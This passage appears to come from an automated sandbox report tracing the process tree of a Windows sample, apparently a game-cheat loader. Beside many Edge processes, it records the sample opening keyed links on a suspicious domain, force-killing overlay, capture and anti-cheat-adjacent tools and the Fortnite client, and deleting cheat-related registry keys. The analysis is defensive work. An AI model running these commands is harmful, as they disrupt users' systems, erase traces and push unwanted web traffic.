        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=7176,i,3505547116070023906,4832442844865188454,2097152 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=7188 /prefetch:1
        5⤵
        
        PID:3228
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=7372,i,8297383307032179531,12682426418172202971,2097152 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=7408 /prefetch:1
        5⤵
        
        PID:4032
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --metrics-shmem-handle=7444,i,17199496101684444219,11572565536881705618,2097152 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=7428 /prefetch:1
        5⤵
        
        PID:5204
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=4252,i,1980037998931858598,10540200521971519846,2097152 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=7804 /prefetch:1
        5⤵
        
        PID:5484
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7988,i,12288155228926015802,6761733842759584299,524288 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:8
        5⤵
        
        PID:5692
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7988,i,12288155228926015802,6761733842759584299,524288 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:8
        5⤵
        
        PID:5708
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8144,i,441952795903838820,9183767586293866750,524288 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=8140 /prefetch:8
        5⤵
        
        PID:5664
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5484,i,137605767679887605,7305916869880315024,524288 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=5448 /prefetch:8
        5⤵
        
        PID:3100
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8372,i,1438522237030870194,4047081440314649113,524288 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=5268 /prefetch:8
        5⤵
        
        PID:5788
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8512,i,10990403454217094733,17902885932162151255,524288 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=8504 /prefetch:8
        5⤵
        
        PID:5840
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8560,i,10048668387589104628,14362895863264237636,524288 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=8232 /prefetch:8
        5⤵
        
        PID:756
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4520,i,1151524201368795677,3185204191159057700,524288 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=4508 /prefetch:8
        5⤵
        
        PID:1788
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4516,i,15560561604712520714,3024721904116711194,524288 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=4528 /prefetch:8
        5⤵
        
        PID:5636
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4532,i,914637871434705564,17774979293888336109,524288 --field-trial-handle=2292,i,5749439082059307030,7473492598457012367,262144 --variations-seed-version --mojo-platform-channel-handle=4512 /prefetch:8
        5⤵
        
        PID:2024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://sneakinghalfbakedcucumber.com/mbsbtt9mw?key=e3e8c9b7dc92fcb988a1025a2e252cbb
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3772
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://sneakinghalfbakedcucumber.com/mbsbtt9mw?key=e3e8c9b7dc92fcb988a1025a2e252cbb
    3⤵
    PID:1988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://sneakinghalfbakedcucumber.com/pxtj5fq0?key=cadf533f865ee25010f8b903b31f90cc
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2268
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://sneakinghalfbakedcucumber.com/pxtj5fq0?key=cadf533f865ee25010f8b903b31f90cc
    3⤵
    PID:4480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://sneakinghalfbakedcucumber.com/cuif3brw?key=7afc8c15c2212a59369a68ca83ee78f9
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2500
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://sneakinghalfbakedcucumber.com/cuif3brw?key=7afc8c15c2212a59369a68ca83ee78f9
    3⤵
    PID:2368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://sneakinghalfbakedcucumber.com/xsu527pe?key=5cfd72bea2199ce3a23515a135906edc
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4444
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://sneakinghalfbakedcucumber.com/xsu527pe?key=5cfd72bea2199ce3a23515a135906edc
    3⤵
    PID:3712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://sneakinghalfbakedcucumber.com/mbsbtt9mw?key=e3e8c9b7dc92fcb988a1025a2e252cbb
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://sneakinghalfbakedcucumber.com/mbsbtt9mw?key=e3e8c9b7dc92fcb988a1025a2e252cbb
    3⤵
    PID:4772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://sneakinghalfbakedcucumber.com/pxtj5fq0?key=cadf533f865ee25010f8b903b31f90cc
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3484
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://sneakinghalfbakedcucumber.com/pxtj5fq0?key=cadf533f865ee25010f8b903b31f90cc
    3⤵
    PID:3228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://sneakinghalfbakedcucumber.com/cuif3brw?key=7afc8c15c2212a59369a68ca83ee78f9
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3592
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://sneakinghalfbakedcucumber.com/cuif3brw?key=7afc8c15c2212a59369a68ca83ee78f9
    3⤵
    PID:1152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://sneakinghalfbakedcucumber.com/xsu527pe?key=5cfd72bea2199ce3a23515a135906edc
  2⤵
  - Executes a command shell one-liner
  PID:3444
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://sneakinghalfbakedcucumber.com/xsu527pe?key=5cfd72bea2199ce3a23515a135906edc
    3⤵
    PID:2864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://sneakinghalfbakedcucumber.com/mbsbtt9mw?key=e3e8c9b7dc92fcb988a1025a2e252cbb
  2⤵
  - Executes a command shell one-liner
  PID:3688
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://sneakinghalfbakedcucumber.com/mbsbtt9mw?key=e3e8c9b7dc92fcb988a1025a2e252cbb
    3⤵
    PID:3272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://sneakinghalfbakedcucumber.com/pxtj5fq0?key=cadf533f865ee25010f8b903b31f90cc
  2⤵
  - Executes a command shell one-liner
  PID:1152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://sneakinghalfbakedcucumber.com/pxtj5fq0?key=cadf533f865ee25010f8b903b31f90cc
    3⤵
    PID:5176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://sneakinghalfbakedcucumber.com/cuif3brw?key=7afc8c15c2212a59369a68ca83ee78f9
  2⤵
  - Executes a command shell one-liner
  PID:5300
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://sneakinghalfbakedcucumber.com/cuif3brw?key=7afc8c15c2212a59369a68ca83ee78f9
    3⤵
    PID:5460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im gameoverlayui.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5476
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im gameoverlayui.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im RadeonSoftware.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5624
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im RadeonSoftware.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im AMDRSServ.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5760
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im AMDRSServ.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im amdow.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5936
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im amdow.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im AMDRSSrcExt.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:6004
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im AMDRSSrcExt.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im GamePanel.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:212
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im GamePanel.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im bcastdvr.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5380
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im bcastdvr.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im GameBarFTServer.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5548
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im GameBarFTServer.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im RTSS.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5816
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im RTSS.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im MSIAfterburner.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5988
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MSIAfterburner.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im Medal.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5612
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im Medal.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im MedalEncoder.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2980
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MedalEncoder.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im MServer.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2060
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MServer.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im squirrel.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5448
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im squirrel.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im elevate.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5520
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im elevate.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im crashpad_handler.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5848
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im crashpad_handler.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im inject-helper32.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5800
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im inject-helper32.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im inject-helper64.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5904
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im inject-helper64.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im ffmpeg.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:6100
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im ffmpeg.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im ffprobe.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5604
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im ffprobe.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im mp4info.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5492
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mp4info.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im ThumbnailGenerator.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5844
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im ThumbnailGenerator.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im ICYMICreator.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5956
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im ICYMICreator.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im Overwolf.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5948
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im Overwolf.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im OverwolfLauncher.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5820
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im OverwolfLauncher.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im OverwolfBrowser.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5812
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im OverwolfBrowser.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im OverwolfHelper.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5460
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im OverwolfHelper.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im OverwolfHelper64.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5660
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im OverwolfHelper64.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im ow-obs.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4280
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im ow-obs.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im ow-overlay.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2588
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im ow-overlay.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im OverwolfUpdater.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3360
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im OverwolfUpdater.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im OverwolfCrashHandler.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5960
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im OverwolfCrashHandler.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im OverwolfBenchmarking.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5416
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im OverwolfBenchmarking.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im OWCleanup.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5444
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im OWCleanup.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im OWUninstaller.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5500
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im OWUninstaller.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im OWUninstallMenu.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5588
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im OWUninstallMenu.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im OverwolfLauncherProxy.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5640
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im OverwolfLauncherProxy.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im "NVIDIA App.exe" /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5372
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "NVIDIA App.exe" /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im "NVIDIA Overlay.exe" /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4952
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im "NVIDIA Overlay.exe" /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im nvsphelper64.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5876
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im nvsphelper64.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im nvsphelper.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4756
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im nvsphelper.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im nvcontainer.exe /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5924
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im nvcontainer.exe /t
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im FortniteClient-Win64-Shipping.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5368
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im FortniteClient-Win64-Shipping.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2880
- C:\Windows\SYSTEM32\reg.exe
  reg delete "HKCU\SOFTWARE\MyCheat" /f
  2⤵
  PID:5532
- C:\Windows\SYSTEM32\reg.exe
  reg delete "HKCR\CLSID\{57C3D834-F47B-46BA-9924-83C2873B0686}" /f
  2⤵
  PID:5636
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5616
- C:\Windows\SYSTEM32\reg.exe
